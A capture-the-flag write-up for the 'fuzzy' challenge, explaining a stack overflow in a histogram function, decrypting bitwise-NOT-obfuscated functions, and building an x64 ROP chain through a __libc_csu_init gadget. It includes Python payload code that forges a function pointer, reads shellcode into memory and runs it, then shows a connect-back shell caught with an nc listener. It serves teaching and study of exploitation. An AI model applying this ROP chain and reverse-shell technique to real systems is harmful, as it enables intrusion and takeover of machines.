tl;dr — fuzzy is a “super secure parsing engine”, that includes a histogram function. The histogram ascii text uses a buffer on the stack, but will increment buckets past the end of the buffer if non ascii text is provided, allowing us to rop.

Binary and exploit available here.

The program

fuzzy is a “super secure parsing engine”, that includes a histogram function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nc fuzzy.2014.ghostintheshellcode.com 4141
Welcome to the super secure parsing engine!
Please select a parser!

1) Sentence histogram
2) Sorted characters (ascending)
3) Sorted characters (decending)
4) Sorted ints (ascending)
5) Sorted ints (decending
6) global_find numbers in string
1
Enter a series of characters
hello
 :0 !:0 ":0 #:0 $:0
%:0 &:0 ':0 (:0 ):0
... <snip> ...
a:0 b:0 c:0 d:0 e:1
f:0 g:0 h:1 i:0 j:0
k:0 l:2 m:0 n:0 o:1
p:0 q:0 r:0 s:0 t:0
u:0 v:0 w:0 x:0 y:0
z:0 {:0 |:0 }:0

As you can see, it computes a histogram of the input. This histogram is constructed using a buffer that is on the stack, so if we send it non-ascii text we can write to the stack. By modifying the saved ebp, we can point the stack to a buffer we control.

Unfortunately, this is a bit challenging to figure out because all the interesting functions are encrypted. Fortunately for us, the “encryption” is just bitwise not. Using our favorite hex editor, we make a new binary with the decrypted functions to reverse.

With control of the stack, we get control over rip and can ROP. We will use the callFunction function, which decrypts a function into an executable page and then runs it. Our goal will be to read encrypted shellcode into a known location (there is a convenient buffer dontcollide in the data section that is never used), then invoke callFunction to run our shellcode. Unfortunately, since this is x64, we need to find a good gadget to be able to control registers and call functions. Luckily, there is a good gadget in __libc_csu_init:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
loc_401790:                             ; CODE XREF: __libc_csu_init+64j
                mov     rdx, r13
                mov     rsi, r14
                mov     edi, r15d
                call    qword ptr [r12+rbx*8]
                add     rbx, 1
                cmp     rbx, rbp
                jnz     short loc_401790

loc_4017A6:                             ; CODE XREF: __libc_csu_init+4Aj
                mov     rbx, [rsp+8]
                mov     rbp, [rsp+10h]
                mov     r12, [rsp+18h]
                mov     r13, [rsp+20h]
                mov     r14, [rsp+28h]
                mov     r15, [rsp+30h]
                add     rsp, 38h
                retn

This gadget allows us to control the first three registers we need an call anything we have function pointer to. The program uses a large function pointer table to enable the encrypted functions to call library functions, so we have pointers to many library functions. Unfortunately, we do not have a pointer to readAll, so we cannot use it with our gadget. Furthermore, our gadget only controls 3 arguments, so we cannot easily use recv. Lastly, we cannot use the encrypted my_readAll function (that we have a pointer to) because it reads its arguments out of a buffer and we don’t have an easy way to call functions with a buffer we control as an argument. Still, this gadget allows us to chain calls arbitrary function pointers with 3 arguments:

1
2
3
4
5
6
# Assumes rip points to loc_4017A6.
def call(function_ptr, arg0, arg1, arg2):
  # Make sure rbx is 0 to make math easy, and rbp is 1 so we fall through to
  # loc_4017A6 for repeated calls.
  #      padding            rbx       rbp       r12                  r13=rdx      r14=rsi      r15=edi
  return pack(0xdeadbeef) + pack(0) + pack(1) + pack(function_ptr) + pack(arg2) + pack(arg1) + pack(arg0) + pack(__libc_csu_init_gadget)

Instead, we make a function pointer to readAll in the data section that we can use our gadget. We call memset 4 times, once for each distinct byte in the the address of readAll, and make dontcollide a pointer to readAll.

1
2
3
4
5
# Set dontcollide to be a function pointer to readAll (0x4013cb).
payload += call(memset_fptr, dontcollide, 0, 8)
payload += call(memset_fptr, dontcollide, 0xcb, 1)
payload += call(memset_fptr, dontcollide + 1, 0x13, 1)
payload += call(memset_fptr, dontcollide + 2, 0x40, 1)

We then can use our gadget to call readAll, reading the encrypted shellcode into dontcollide, and then again to call callFunction, executing our shellcode.

1
2
3
4
5
# Read the shellcode into a buffer. The socket to read from is 4.
payload += call(dontcollide, 4, dontcollide, 0x400)

# Call our shellcode.
payload += call(callEncryptedFunction_fptr, dontcollide, 0, 0)

We grab some connect back shellcode and get a shell:

1
2
3
4
~% python fuzzy.py                                           [console 1]
~% nc -l 16705                                               [console 2]
cat key.txt
key is: fuzzingIsFun2